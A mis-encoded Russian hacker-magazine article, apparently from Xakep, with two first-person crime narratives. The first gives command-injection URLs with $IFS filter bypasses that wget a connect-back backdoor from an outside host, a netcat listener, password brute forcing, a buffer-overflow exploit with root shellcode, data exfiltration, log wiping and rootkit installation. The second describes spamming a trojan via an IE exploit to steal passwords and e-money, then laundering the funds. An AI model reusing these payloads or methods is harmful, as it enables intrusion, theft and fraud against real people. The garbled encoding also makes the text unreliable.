âñïîìíèë ïðî àòàêó Reverse IP lookup, êîòîðóþ NSD îïèñûâàë â ìàðòîâñ-
êîì íîìåðå æóðíàëà. Â ñàìîì äåëå, âåäü ó ýòîãî ñàéòà, âïîëíå âîçìîæíî,
åñòü ñîñåäè: õîòü ìàøèíà öåëèêîì è ïðèíàäëåæàëà ëîìàåìîé îðãàíèçà-
öèè, ñêîðåå âñåãî, íà ýòîé ïëîùàäêå õîñòèëèñü è äðóãèå, äðóæåñòâåííûå,
ïðîåêòû. Ïîýòîìó ÿ ðåøèë ïîïðîáîâàòü â äåéñòâèè reverse IP lookup.

[çàéäåì ê ñîñåäÿì] Äëÿ òàíêèñòîâ ïîÿñíþ, ÷òî ýòîò ìåòîä ïîäðàçó-
ìåâàåò ïîëó÷åíèå èíôîðìàöèè îáî âñåõ âèðòóàëüíûõ ñåðâåðàõ, ðàñïî-
ëîæåííûõ íà îäíîé ìàøèíå ñ àòàêóåìûì ðåñóðñîì. Öåëü ïîëó÷åíèÿ
ýòîé èíôîðìàöèè � âçëîìàòü îäèí èç ñàéòîâ-ñîñåäåé è èñïîëüçîâàòü
ýòó ïëîùàäêó äëÿ äàëüíåéøåãî ïðîíèêíîâåíèÿ. Òàê ÿ è ïîñòóïèë: çàéäÿ
íà www.domainsdb.net, ÿ ââåë àäðåñ ðåñóðñà â ôîðìó è ïîëó÷èë â îòâåò
äâà ñàéòà: www.target.com è www.hackme.net. ×òîáû äâèãàòüñÿ äàëüøå,
ìíå íàäî áûëî ñëîìàòü îäèí èç ýòèõ ñåðâåðîâ. Ïîñêîëüêó
www.target.com áûë ïåðâûì â ìîåì ñïèñêå, ÿ ïðèíÿëñÿ çà íåãî, íî ñïóñ-
òÿ 15 ìèíóò ÿ ïîíÿë, ÷òî òóò íåò íè îäíîãî ñêðèïòà è ìíå íè÷åãî íå ñâå-
òèò. À âîò Hackme.net âûãëÿäåë ïîñèìïàòè÷íåå, è ÷òî-òî ïîäñêàçûâàëî
ìíå � ÿ íà âåðíîì ïóòè.

[ïîäâîäíûå êàìíè] ß äîâîëüíî áûñòðî îòûñêàë áàæíûé ñêðèïò. Êàê òîëüêî
ÿ óâèäåë ññûëêó âèäà www.hackme.net/company/colleagues/whois.pl?image=semi-
ke.jpg, íà ìîåì ëèöå ïîÿâèëàñü óëûáêà è ÿ ïîíÿë, ÷òî èíòóèöèÿ ìåíÿ íå ïîäâå-
ëà. ß íå çíàë, êàê èìåííî îòêðûâàåòñÿ ýòîò ôàéë, ïîýòîìó ïîïðîáîâàë ðàçëè÷-
íûå âàðèàíòû äàëüíåéøåé àòàêè.
Èç âñåõ èñïûòàííûõ ìíîþ âàðèàíòîâ, òðåáóåìîãî ðåçóëüòàòà äîáèëñÿ òîëü-
êî îäèí çàïðîñ: www.hackme.net/company/colleagues/whois.pl?image=ls|. Â
ðåçóëüòàòå ýòîãî ðåêâåñòà, íà ñåðâåðå âûïîëíèëàñü êîìàíäà ls. ×åðåç
íåñêîëüêî ñåêóíä ÿ óæå çíàë, ÷òî âåá-ñåðâåð êðóòèòñÿ ïîä ïîëüçîâàòå-
ëåì nobody, îäíàêî âûÿñíèòü âåðñèþ ñèñòåìû íå ïðåäñòàâëÿëîñü âîç-
ìîæíûì: ïðèâû÷íàÿ êîìàíäà uname -a íå âûïîëíÿëàñü. Ïî-âèäèìîìó,
àäìèí ôèëüòðîâàë ïðîáåëû è íå ïóñêàë òàêèå ñòðîêè íà îáðàáîòêó ïðîã-
ðàììû. Íàñòàëî âðåìÿ äëÿ îáõîäà ôèëüòðàöèè. ß ðåøèë ïîïðîáîâàòü
âìåñòî ïðîáåëà âñòàâëÿòü ïåðåìåííóþ îêðóæåíèÿ $IFS, à çàîäíî íàó÷èò-
ñÿ âûïîëíÿòü Perl-êîä. Ìîÿ äîãàäêà ïîëó÷èëà ïîäòâåðæäåíèå, è îáðàòèâ-
øèñü ê www.hackme.net/company/colleagues/whois.pl?image=uname$IFS-
a|, ÿ óçíàë âñå ñâåäåíèÿ îá óñòàíîâëåííîé ñèñòåìå � ýòî áûë ïîñëåäíèé
ïðîïàò÷åííûé Linux, ñïëîèòîâ äëÿ êîòîðîãî íå áûëî. Òàê ÷òî ïðèäåòñÿ
ìíå ïîäíèìàòü ïðèâèëåãèè âðó÷íóþ :).
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Íà íàøåì äèñêå òû íàé-
äåøü äîêóìåíòàöèþ ïî
gdb, à òàêæå íåêîòîðûå
ñòàòüè ïî àòàêàì íà ïåðå-
ïîëíåíèå áóôåðà.

Íåçàêîííûé äîñòóï ê ÷ó-
æîé èíôîðìàöèè � ýòî,
äðóæîê, ñòàòüÿ. Âçëîì ÷ó-
æîé ïðîãðàììû � ýòî òî-
æå ñòàòüÿ. Ïîëó÷åíèå root-
ïðèâèëåãèé íà íåèçâåñò-
íîì òåáå ñåðâåðå � ýòî
óæå, íàâåðíîå, äàæå äâå
ñòàòüè. Ñòàòåé ìíîãî, òû �
îäèí. Íå äàé èì ñåáÿ çàæå-
âàòü. Íå íàðóøàé çàêîíîâ.



Ðåøåíî áûëî çàêà÷àòü íà ñåðâåð connback-áýêäîð, òåì áîëåå, ÷òî íà
ïëîùàäêå áûë óñòàíîâëåí wget. ß ïîñìîòðåë ASCII-òàáëèöó è óçíàë êî-
äû òðåáóåìûõ ìíå äëÿ äàëüíåéøåé àòàêè ñèìâîëîâ: äåôèñ (45), ñëýø
(47), îäèíàðíàÿ êàâû÷êà (39) è âåðòèêàëüíàÿ ÷åðòà (7C).
Ýòî áûëî ñäåëàíî äëÿ òîãî, ÷òîáû îáîéòè ôèëüòðàöèþ: íåóãîäíûé ñèì-
âîë ìîæíî áûëî ëåãêî çàìåíèòü Perl-êîíñòðóêöèåé chr(ÊÎÄ_ÑÈÂÎËÀ),
ïåðåäàâ ýòó ñòðîêó íà âûïîëíåíèå èíòåðïðåòàòîðó Perl:

www.hackme.net/company/colleagues/whois.pl?image=`perl$IFS-e
$IFS"pr int$ IFS.chr(39) .wget$IFSinfectors-xoct .narod.ru .chr
(39).chr(47).connback.c$IFS.chr(45).O'.chr(47).'tmp'.chr(47).'connback.c.chr(39)"|̀

Òàê ÿ çàëèë áýêäîð è ñêîìïèëèðîâàë óæå óñòàíîâëåííûé GCC:

www.hackme.net/company/colleagues/whois.pl?image=`perl$IFS-
e$IFS"print$IFS.chr(39).gcc$IFSconnback.c$IFS.chr(45).$IFS.chr(47).tm
p.chr(47).connback.chr(39)"|`

Ïðîãðàììà ñîáðàëàñü óäà÷íî è ÿ çàïóñòèë åå, óñòàíîâèâ â áýêäîðå 80
ïîðòîâ äëÿ ïîäêëþ÷åíèÿ � ÷òîáû ñòðîãèé ôàéðâîë ïðîïóñòèë ñîåäèíå-
íèå. Çàòåì ÿ çàïóñòèë íà ñîáñòâåííîì äåäèêå íåòêàò íà 80 ïîðòó è ñòàë
æäàòü êîííåêòà:

nc -l -p 80

Áýêäîð óñïåøíî ñîåäèíèëñÿ è ÿ ïîëó÷èë äîñòóï ê ïîëíîöåííîé êîìàíäíîé
îáîëî÷êå.

[äàéòå ðóòà ïîñëå áðóòà] Ïîëó÷èòü øåëë � çíà÷èò ïîëó÷èòü è ôàéë
/etc/passwd. ß äîñòàë ôàéë ïàðîëåé (cat /etc/passwd), óñòàíîâèë óíè-
êàëüíûé áðóòôîðñåð Hydra îò THC (îá ýòîì áðóòôîðñå ìû ïèñàëè â ÿí-
âàðå) è íà÷àë áðóòôîðñèòü ïàðîëè ñèñòåìíûõ ïîëüçîâàòåëåé. ß ñáðóò-
ôîðñèë âñåãî äâà ïàðîëÿ, îäíàêî ïîëó÷åííûå ó÷åòíûå çàïèñè áûëè îã-
ðàíè÷åíû ïî ñâîèì âîçìîæíîñòÿì. Îäíàêî ëîêàëüíûå ïðèâèëåãèè �
ýòî óæå áîëüøîå äåëî, ìîè øàíñû íà âçëîì ðåçêî âîçðîñëè.

[íåîæèäàííûé ïîâîðîò ñîáûòèé] Ê ìîåìó ñîæàëåíèþ, âñå history-
ôàéëû, êîòîðûå ÿ ñìîã îòûñêàòü (.bash_history, .mysql_hisory), íå äàëè ìíå
íè÷åãî õîðîøåãî, çàòî ÿ ëåãêî óçíàë ïîëíûé ïóòü ê WWW-êàòàëîãó, ïðî÷è-
òàâ httpd.conf. Âñêîðå ÿ íàøåë *.inc-ôàéë ñ íàñòðîéêàìè êàêîé-òî PHP-ñèñ-
òåìû, â êîòîðîé îáíàðóæèë èíôîðìàöèþ äëÿ ñîåäèíåíèÿ ñ áàçîé äàííûõ
MySQL. Ê MySQL ýòè ïàðîëè ïîäîøëè, à âîò íà FTP è SSH ìåíÿ ñ íèìè íå
ïóñòèëè. Íàñêîëüêî ÿ ïîíÿë, àäìèíèñòðàòîð ïîñòàâèë íà âñå ñåðâèñû ðàç-
íûå ïàðîëè, ÷òî îïÿòü-òàêè ñâèäåòåëüñòâóåò â ïîëüçó åãî êâàëèôèêàöèè.
Êàê ÿ óæå îòìå÷àë, íà ñåðâåðå ñòîÿë ïðîïàò÷åííûé Linux, âåðñèè ñèñòåì-
íûõ äåìîíîâ áûëè òàêæå ñòàáèëüíûìè è êàçàëîñü, ÷òî ïîäíÿòü ïðèâèëåãèè
íåâîçìîæíî. Íî ÿ íå ñäàâàëñÿ, è ïðèíÿëñÿ äîñêîíàëüíî èçó÷àòü ñèñòåìó.
Íà ñåðâåðå êðóòèëàñü êó÷à IDS � PortSentry, Chrootkit è Snort. Ñòîèëî áûòü
ïîàêêóðàòíåå. Êîìàíäà last -10 ãîâîðèëà î òîì, ÷òî àäìèí ðåãóëÿðíî ïîÿâ-
ëÿåòñÿ â ñèñòåìå. Ïîñëå ïðîñìîòðà ïðîöåññîâ ñèñòåìû (ps -ax), ÿ çàìåòèë
îäèí çíàêîìûé ïðîöåññ � sysad3. Áûëî òàêîå îùóùåíèå, ÷òî ÿ åãî ãäå-òî
âèäåë. È â ñàìîì äåëå, ÿ óæå âñòðå÷àë ýòî ïðèëîæåíèå â îäíîé èç äèðåê-
òîðèé ñåðâåðà â âèäå èñõîäíèêà íà C. Ñêà÷àâ ñåáå ñèøíèê, ÿ ïîíÿë, ÷òî àä-
ìèí ÿâëÿåòñÿ êîäåðîì ïî ñîâìåñòèòåëüñòâó. Îí íàêîëáàñèë ñàìîïàëüíóþ
óòèëèòó, êîòîðàÿ ñëåäèëà çà ñîñòîÿíèåì ñèñòåìû, íî áûëà åùå äîâîëüíî-
òàêè ñûðîé. ×èòàÿ èñõîäíûé êîä ýòîé óòèëèòû, ÿ íàøåë â íåé áàã � ïåðå-
ïîëíåíèå áóôåðà, ÷òî ÿâèëîñü äëÿ ìåíÿ íåîæèäàííîñòüþ. Îäíàêî âñå ýòî
ìîãëî äàòü íåîãðàíè÷åííûå âîçìîæíîñòè â ñèñòåìå, ïîñêîëüêó ïðîãðàììà
áûëà çàïóùåíà ïîä ðóòîâûìè ïðèâèëåãèÿìè � îñòàâàëîñü íàïèñàòü ãðà-
ìîòíûé øåëë-êîä, è ïîëó÷èòü àáñîëþòíûé äîñòóï ê ñèñòåìå.

àòàêà reserse ip lookup â äåéñòâèè
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[íå äîì è íå óëèöà] Äàâàé
âñïîìíèì, ÷òî æå ÿâëÿåòñÿ ãëàâ-
íûì ôàêòîðîì óñïåõà â àòàêàõ
íà ïåðåïîëíåíèå áóôåðà? Ïðà-
âèëüíî, êîððåêòíàÿ ïîäìåíà àä-
ðåñà âîçâðàòà, íà òîò, ïî êîòî-
ðîìó ëåæèò õàêåðñêèé âûïîëíÿ-
åìûé êîä � íàïðèìåð, ôóíêöèÿ
íà âûçîâ êîìàíäíîãî èíòåðïðå-
òàòîðà ñ ðóòîâûìè ïðèâèëåãèÿ-
ìè. Èìåííî ýòî è áûëî ìîåé
öåëüþ. Ñåé÷àñ ÿ ðàññêàæó òåáå,
êàê ìíå óäàëîñü íàïèñàòü
ýêñïëîéò äëÿ ñàìîïàëüíîé àä-

ìèíñêîé ïðîãðàììû. Åñëè buffer overflow � ýòî ïðîáåë â òâîèõ çíà-
íèÿõ, òî ñîâåòóþ îáðàòèòüñÿ ê ñîîòâåòñòâóþùåìó ñïåöâûïóñêó Õ.
Ïåðâûì äåëîì, ÷òîáû òû ëó÷øå ïðåäñòàâëÿë ñåáå ïðåäìåò ðàçãîâîðà, ÿ
ïîêàæó òåáå êóñîê óÿçâèìîãî êîäà:

[áàæíûé êîä bufove.c]

char *env; 
char buf[100]; 
env = getenv("RAMOPTIME"); 
if ( env == NULL ) { return 0; } 
sprintf(buf, "%s", env); 
return 0; 

Êàê ëåãêî ïîíÿòü, ýòîò êîä ÷èòàåò ïåðåìåííóþ îêðóæåíèÿ RAMOPTIME
ïðè ïîìîùè ôóíêöèè getenv(), à çàòåì çàïèñûâàåò ïðî÷èòàííóþ ñòðîêó
â áóôåð buf (char buf[100]). Òóò âñå ïðîñòî, è óÿçâèìîñòü, ÷òî íàçûâàåò-
ñÿ, íàëèöî. Çàòåì ÿ çàïèñàë â RAMOPTIME òûñÿ÷ó áóêâ À (êîä 0x41) ïðè
ïîìîùè ñëåäóþùåãî êîäà: 

[bufove2uze.c]

int main(int argc, char *argv[]) 
{ 
char buf[1000]; 
memset(buf, 0x41, 1000); 
setenv("RAMOPTIME", buf, 1); 
execl("env", "env", NULL); 
}

Ñîáðàâ ïðè ïîìîùè gcc íà ñâîåé ïëîùàäêå ýòè ïðîãðàììû, ÿ âûïîëíèë
èõ è óáåäèëñÿ â òîì, ÷òî ïðîèçîøëî ïåðåïîëíåíèå: ïîÿâèëîñü ñòàíäàðò-
íîå äëÿ Unix ñîîáùåíèå � Segmentation fault (core dumped). Âñå, òåïåðü
íàñòàëî âðåìÿ íàêîëáàñèòü ýêñïëîéò ê ýòîìó ïðèëîæåíèþ è ïîëó÷èòü
ðóòîâûå ïðàâà íà àòàêóåìîé ìàøèíå.

[øåëë-êîä â ñìîêèíãå] Íå íóæíî áûòü ãåíèåì ëèíãâèñòèêè, ÷òîáû
ïîíÿòü: ñëîâà Segmentation fault (core dumped), îáîçíà÷àþò, ÷òî ïðîè-
çîøëî ïåðåïîëíåíèå, è ÷òî íà äèñê çàïèñàí äàìï ïàìÿòè óïàâøåãî ïðî-
öåññà. Ïðè ïîìîùè îòëàä÷èêà gdb ìîæíî îòêðûòü ýòîò ôàéë è ïîëó÷èòü
íåêîòîðûå äîïîëíèòåëüíûå ñâåäåíèÿ: 

$ gdb -core proc.core
Core was generated by `AAAA'.
Program terminated with signal 11, Segmentation fault. 
warning: current_sos: Can't read pathname for load map: Input/output error 
Reading symbols from /lib/tls/libc.so.6...done. 
Loaded symbols for /lib/tls/libc.so.6 
Reading symbols from /lib/ld-linux.so.2...done. 
Loaded symbols for /lib/ld-linux.so.2
# 0 0x36333135 in ?? ()
// 0x36333135 � âûäóìàíî ;)

Äàëåå ìíå ïîíàäîáèëîñü âûÿñíèòü àäðåñ âîçâðàòà íà øåëë-êîä. Äëÿ
ýòîãî ÿ ãëÿíóë ðåãèñòð ESP:

x/100x $ESP
0xcffff1c0: 0x36333135 0x36333135 0x36333135 0x36333135
...
0xcffff310: 0x36333135 0x36333135 0x36333135 0x36333135 //Âîò îí!

Âñå, òåïåðü ìíå îñòàëîñü òîëüêî íàïèñàòü ýêñïëîéò. ß äîâîëüíî áûñòðî
íàêîëáàñèë åãî, è ñåé÷àñ ïîêàæó òåáå ýòîò ïðîñòåíüêèé êîä:

[ãîòîâûé ýêñïëîéò]

char shellinfector[] = 
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68" 
"\x68\x2f\x62\x69\x6e\x89\xe3\x50" 
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; 
int main(int argc, char *argv[]) 
{ 
long RET; 
int i; 
char buf[1000]; 
char *p; 
RET = 0xcffff310;
p = buf; 
memset(buf, 0x41, 1000+1-strlen(shellinfector)); 
sprintf(buf+1000+1-strlen(shellinfector), "%s", shellpre); 
for ( i = 0; i <= 500; i+= 4 ) 
*(long*)(p+i) = RET; 
setenv("RAMOPTIME", buf, 1); 
execl("env", "env" , buf, NULL); 
} 

Çäåñü shellinfector � ýòî ìàøèííûé êîä, êîòîðûé âûïîëíÿåòñÿ ñ ïðèâè-
ëåãèÿìè òåêóùåãî ïðîöåññà, â ìîåì ñëó÷àå � ïîä ðóòîì. ß ïðîñòî çà-
ïóñêàë êîìàíäíûé èíòåðïðåòàòîð.
Äîïèñàâ ñïëîèò, ÿ ñîáðàë åãî è çàïóñòèë íà ëîìàåìîé ìàøèíêå,
ìãíîâåííî ïîëó÷èâ àáñîëþòíûå ïðèâèëåãèè íà ñåðâåðå. Íå äîëãî
ðàçìûøëÿÿ, ÿ ïðè ïîìîùè locate îòûñêàë òðåáóåìûå äîêóìåíòû,
ñæàë èõ â îäèí tgz-àðõèâ, ñëèë èõ ÷åðåç httpd, ïîòåð ëîãè è óæå ñî-
áèðàëñÿ çàáûòü âñþ ýòó èñòîðèþ.

[çàêðåïëåíèå ïîçèöèé] Îäíàêî ìíå áûëî æàëü òàê ïðîñòî ïîêèäàòü
õîðîøóþ ïëîùàäêó, è ÿ ðåøèë çàêðåïèòü ñâîè ïîçèöèè. ß íåìíîãî ïîä-
êîððåêòèðîâàë êîä chrootkit'a, ÷òîáû îí íå âèäåë ìîåãî áýêäîðà, è óñòà-
íîâèë íà âçëîìàííóþ ìàøèíó SHV5:

./setup xakepqwerty 31337

Çàòåì ÿ ñíîâà ïî÷èñòèë çà ñîáîé âñå ëîãè, ïîóäàëÿë âðåìåííûå ôàéëû,
ïðîâåðèë netstat-ëèñòû è ñâàëèë ñïàòü. Òåïåðü ó ìåíÿ áûë îòëè÷íûé
ïëàöäàðì äëÿ ñëåäóþùèõ ñåòåâûõ àòàê, êîòîðûé ÿ, êîíå÷íî æå, íèêîãäà
íå áóäó èñïîëüçîâàòü, ïîñêîëüêó óâàæàþ íàøå çàêîíîäàòåëüñòâî ;) core dump óïàâøåãî ïðîöåññà

ïîèñê áàæíûõ ñêðèïòîâ íà ñàéòå íè÷åì íå óâåí÷àëñÿ

áðóòôîðñåð Hydra � ïðåêðàñíûé
ïîìîùíèê â ëîêàëüíûõ âçëîìàõ





ÎÄÍÈÌ ÈÇ ÑÀÌÛÕ ÝÔÔÅÊÒÈÂÍÛÕ È ÏÎÏÓËßÐÍÛÕ
ÌÅÒÎÄÎÂ ÏÎËÓ×ÅÍÈß ÊÎÍÔÈÄÅÍÖÈÀËÜÍÎÉ ÈÍÔÎÐ-
ÌÀÖÈÈ ßÂËßÅÒÑß ÏÐÎÒÐÎßÍÈÂÀÍÈÅ ÏÎËÜÇÎÂÀÒÅ-
ËÅÉ. È ÕÎÒÜ ÁÎËÜØÈÍÑÒÂÎ ËÞÄÅÉ Ñ×ÈÒÀÞÒ ÝÒÎÒ
ÏÐÈÅÌ ÁÀÍÀËÜÍÛÌ È ÄÅÒÑÊÈÌ, ÏÐÈ ÈÑÏÎËÜÇÎÂÀ-
ÍÈÈ ÝÔÔÅÊÒÈÂÍÎÃÎ ÏÐÈÂÀÒÍÎÃÎ ÑÎÔÒÀ ÄÀÆÅ ÑÀ-
ÌÛÉ ÁÅÇÄÀÐÍÛÉ ÑÅÒÅÂÎÉ ÎÒÌÎÐÎÇÎÊ ÌÎÆÅÒ ËÅÃ-
ÊÎ ÓÏÅÐÅÒÜ ÂÑÅ ÒÂÎÈ ÏÀÐÎËÈ È ÝËÅÊÒÐÎÍÍÛÅ
ÄÅÍÜÃÈ. ×ÒÎÁÛ ÏÎÊÀÇÀÒÜ ÒÅÁÅ ÎÏÀÑÍÎÑÒÜ ÑÎÂÐÅ-
ÌÅÍÍÛÕ ÒÐÎßÍÎÂ, MASTER-LAME-MASTER ÍÀØÅË ÎÄ-
ÍÎÃÎ ÒÀÊÎÃÎ ÑÅÒÅÂÎÃÎ ÍÅÃÎÄßß, ÊÎÒÎÐÛÉ ÏÎÂÅ-
ÄÀË Î ÑÂÎÈÕ ÇÀÍßÒÈßÕ ÑÅÒÅÂÛÌÈ ÃÐÀÁÅÆÀÌÈ. 
×ÈÒÀÉ, È ÍÅ ÏÎÏÀÄÀÉÑß | Master-lame-master

[õàêåðñêèé àðñåíàë] Îäíàæäû ïî ñ÷àñòëèâîé ñëó÷àéíîñòè ìíå óäàëîñü
äîñòàòü ïðèâàòíûé ýêñïëîéò ê óÿçâèìîñòè COM Objects Instantiation äëÿ
Internet Explorer (www.securitylab.ru/poc/222225.php). Â îòëè÷èå îò ïîêàçà-
òåëüíûõ ïóáëè÷íûõ ðåëèçîâ, ýòîò ñïëîèò äåéñòâèòåëüíî äåëàë ñâîå äåëî �
ôàáðèêîâàë ñâèðåïûé HTML-äîêóìåíò, ïîñëå ïðîñìîòðà êîòîðîãî îñëèê
ïîñëóøíî ñêà÷èâàë è çàïóñêàë ïðîèçâîëüíûé ôàéë èç èíåòà. ×òî êàñàåòñÿ
ìåíÿ, òî ÿ äàâíî çàíèìàþñü ðàçëè÷íûìè ìàõèíàöèÿìè è ìîãó áåç òðóäà âïà-
ðèòü ññûëêó óøàñòîìó ëàìåðó, ÷òîáû ïîñìîòðåòü, êàêóþ èíôó îí õðàíèò íà
ñâîåì êîìïüþòåðå. Íî â äàííûé ìîìåíò ìíå õîòåëîñü ÷åãî-òî áîëüøåãî, ÷åì
ïðîñòî ëàìåðñêèé êîíòåíò. Ìîé õîðîøèé çíàêîìûé, ñ êîòîðûì ìû âìåñòå
ðàáîòàåì, ïîäîãíàë ìíå íåñêîëüêî e-mail-áàç ñóììàðíûì ÷èñëîì â 500000
ðóññêèõ ïî÷òîâûõ àäðåñîâ. Ïî åãî ñëîâàì, âñå ýòè áàçû îí óâåë ÷åðåç âçëî-
ìàííûå ôîðóìû, íà êîòîðûõ òàèëñÿ áàã â íàøóìåâøåì ìîäóëå PHP-RPC.
Ãëÿäÿ íà âñå âûøåîïèñàííîå äîáðî, êî ìíå ïðèøëà äåëüíàÿ ìûñëü � ïðîñ-
ïàìèòü íà âñå ýòè àäðåñà êàêóþ-íèáóäü ëåâóþ ññûëêó, âåäóùóþ ê HTML-äî-
êóìåíòó ìîåãî íîâîãî òðîÿíöà. Ðåøåíèå áûëî êëàññíûì, è ÿ ðåøèë çàíÿòüñÿÞ
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ýòèì òåìíûì äåëüöåì. Îäíàêî ïðåæäå, ÷åì ïðèñòóïàòü ê íàñòóïëåíèþ,
íóæíî áûëî òùàòåëüíî ïðîäóìàòü ìåõàíèçì âïàðèâàíèÿ ëåâîé ññûëêè.
Ðåêëàìèðîâàòü âèàãðó è ñðåäñòâî äëÿ óâåëè÷åíèÿ ïîëîâûõ îðãàíîâ ìíå
íå õîòåëîñü � óæ î÷åíü âñå ýòî áàíàëüíî è íåäåéñòâåííî. Ññûëêè íà
«ñåêðåòíûå áàçû äàííûõ» òàêæå áûëè èçíà÷àëüíî ïðîâàëüíûì âàðèàí-
òîì, âåäü êàæäîìó ïîëüçîâàòåëþ â äåíü ïðèõîäèò ïî ñîòíå òðîÿíöåâ, ðà-
çîñëàííûõ èìåííî òàêèì ñïîñîáîì. Íóæíî áûëî íàéòè íîâûé ïðèåì, êî-
òîðûé åùå ìàëî îáêàòàí èëè íå îáêàòàí âîîáùå. È ÿ åãî íàøåë. Êàê-òî
ðàç ÿ ïîëó÷èë â ñâîé ÿùèê ïèñüìî ñ àäðåñà monica@postcard.ru, â êîòî-
ðîì ãîâîðèëîñü, ÷òî êòî-òî ïðèñëàë ìíå ïîçäðàâèòåëüíóþ îòêðûòêó. 
Â òåëå ïèñüìà íàõîäèëèñü äâå ññûëêè � îäíà, âåäóùàÿ íà ñêðèïò ïîëó-
÷åíèÿ îòêðûòêè ñ åå íîìåðîì, à âòîðàÿ � íà ãëàâíóþ ñòðàíèöó ñàéòà. Íå
çíàþ ïî÷åìó, íî ÿ ðåøèë êëèêíóòü ïî âòîðîé � è áûë ïðàâ. Ââåäÿ êîä
îòêðûòêè, ÿ ïîëó÷èë ñîîáùåíèå î òîì, ÷òî òàêîãî êîäà íå ñóùåñòâóåò.
Ýòîò ôàêò çàñòàâèë ìåíÿ óñîìíèòüñÿ â ïîëèòêîððåêòíîñòè âõîäÿùåãî
ïèñüìà. Ïîñìîòðåâ èñõîäíèê HTML, ÿ ïîíÿë, ÷òî ññûëêà íà ïîëó÷åíèÿ
ïîñòêàðòû ïîääåëàíà è âåäåò â íåèçâåñòíîå íàïðàâëåíèå :). Äàííûé ïðè-
åì÷èê ÿ âçÿë íà çàìåòêó, à ÷òîáû ó ïîëüçîâàòåëåé íå áûëî âûáîðà, ÿ ðå-
øèë ïðîñòî óáðàòü ññûëêó íà ãëàâíóþ ñòðàíèöó èç ïèñüìà.
È âîò íàñòóïèë äîëãîæäàííûé ìîìåíò. Íàñòðîèâ DarkMailer íà âèíäî-
âîì äåäèêå è ïîäâÿçàâ ê íåìó ôàéë ñ ïðîêñèêàìè, ÿ íàæàë íà Start. 
Â òå÷åíèå îïðåäåëåííîãî âðåìåíè ïðîãðàììà òðóäèëàñü íàä ðàññûëêîé
ñîîáùåíèé, è âîò åé ýòî óäàëîñü. Ñ îãðîìíûì íåòåðïåíèåì ÿ ñòàë äî-
æèäàòüñÿ ðåçóëüòàòà ñâîåé ðàáîòû.
Ñäåëàþ íåáîëüøîå ëèðè÷åñêîå îòñòóïëåíèå è ðàññêàæó î òðîÿíå, êîòî-
ðûé ñêðûâàëñÿ çà ñôàáðèêîâàííûì äîêóìåíòîì. Ýêñïëîéò óñïåøíî
òðàíñïîðòèðîâàë ôàéë 1.exe íà êîìïüþòåð æåðòâû. Ïîä ýòèì èìå-íåì íà-

õîäèëñÿ ïðîäâèíóòûé ôîðìãðàááåð,
êîòîðûé óìåë ãðàáèòü âñå âáèòûå
ôîðìû çà îïðåäåëåííûé ïåðèîä, à
òàêæå çàáèðàòü ñ êîìïüþòåðà ïàðî-
ëè, WM-êëþ÷è, ñåðòèôèêàòû è ïðî-
÷èå ïîëåçíûå âåùè. Äàííûé òðîé
æèë íà çàðàæåííîé ìàøèíå ðîâíî
äâà äíÿ, à çàòåì ñàì ñåáÿ óíè÷òî-
æàë, ïåðåä ñìåðòüþ ïîñûëàÿ çàâåò-
íûå ëîãè íà ìîé e-mail. Òàêèì îáðà-
çîì, ìíå íóæíî áûëî ïîäîæäàòü
âñåãî äâîå ñóòîê, ÷òîáû óâèäåòü ïåð-
âûå ðåçóëüòàòû àòàêè.
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Òåêñò ñòàòüè ïðèâîäèò-
ñÿ as is, òàê êàê íàì åãî
ïðèñëàë ýòîò ÷åëîâåê.
Êàê íà íåãî ðåàãèðîâàòü
� ðåøàòü òîëüêî òåáå,
âñþ îòâåòñòâåííîñòü çà
ñâîè ïîñòóïêè íåñåøü
òîëüêî òû ñàì.

Òðîÿííûé çàðàáîòîê ñåòåâûõ îòìîðîçêîâ
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mail.ru, êóäà è íàïðàâèë ñâîé áðàóçåð. Îäíàêî ìîÿ ðàäîñòü áûëà íå-
äîëãîé � íà Mail.ru ìíå ñîîáùèëè, ÷òî àêêàóíò áûë çâåðñêè óäàëåí è
ïðåäëîæèëè ìíå åãî âîññòàíîâèòü. ß ñîãëàñèëñÿ è çàíîâî ïåðåñëàë
êîä àêòèâàöèè, íî áåçóñïåøíî. Òîãäà ìíå â ãîëîâó ïðèøëà èäåÿ ïîñ-
ìîòðåòü äåòàëè àêêàóíòà. È òàì ÿ óâèäåë ñîâåðøåííî äðóãîé e-mail,
âåäóùèé â äîìåí òðåòüåãî óðîâíÿ *.net.ru (â èíòåðåñàõ ìîåãî ïðèÿòåëÿ
ðåàëüíûå àäðåñà íå ðàçãëàøàþòñÿ). Çàéäÿ òóäà ïî WWW, ÿ âî âòîðîé
ðàç ðàçî÷àðîâàëñÿ � äîìåíà íå ñóùåñòâîâàëî. Ïåðâûå ìûñëè áûëè
íå ñàìûìè îïòèìèñòè÷íûìè, íî âñå æå ÿ ïîïðîáîâàë âûïîëíèòü êî-
ìàíäó host domain.net.ru íà ìîåì linux-ñåðâåðå. Ðåçóëüòàò ïîêàçàë, ÷òî
äîìåí ñóùåñòâóåò, íî ÷àñòè÷íî :). A-çàïèñè äëÿ õîñòà íå ñóùåñòâîâà-

ëî, íî MX-ðåêîðä áûë. È âåë íà æèâîé àéïèøíèê, ãäå
áûëè çàïóùåíû êàê POP, òàê è SMTP-ñåðâèñ. Çàêîí-
íåêòèâøèñü íà 110 ïîðò, ÿ ïîïðîáîâàë àâòîðèçîâàòü-
ñÿ â âèäå user/pass. Îáëîìàëñÿ. Ïîïðîáîâàë åùå ðàç,
íî â âèäå user@domain/pass. Âóàëÿ! Ñåðâåð îòâåòèë,
÷òî äëÿ ìåíÿ åñòü 10 íîâûõ ñîîáùåíèé, äâà èç êîòî-
ðûõ ñîäåðæàëè êîäû àêòèâàöèè.
Îñòàëîñü âûâåñòè âñå ôèíàíñû íà ìîé êîøåëåê. 
Äåëàòü ýòî íàïðÿìóþ íå î÷åíü õîòåëîñü � ó âëàäåëü-
öà èìåëñÿ ïåðñîíàëüíûé àòòåñòàò, ïîýòîìó îí ìîã ïî-
äàòü èñê â àðáèòðàæ äëÿ äàëüíåéøèõ ðàçáèðàòåëüñòâ.
ß ðåøèë ñäåëàòü íåìíîãî ïî-äðóãîìó. À èìåííî, âîñ-
ïîëüçîâàëñÿ óñëóãàìè online-îáìåííèêà, ïåðåâåäÿ âñå
ñðåäñòâà íà e-gold èäåíòèôèêàòîð, ïîõèùåííûé ìíîé
ó îäíîãî àìåðà ïàðó ëåò íàçàä :). Çàòåì ïåðåâåë ýòè
áàáêè óæå ÷åðåç äðóãîé îáìåííèê ê ñåáå íà êîøåëåê.

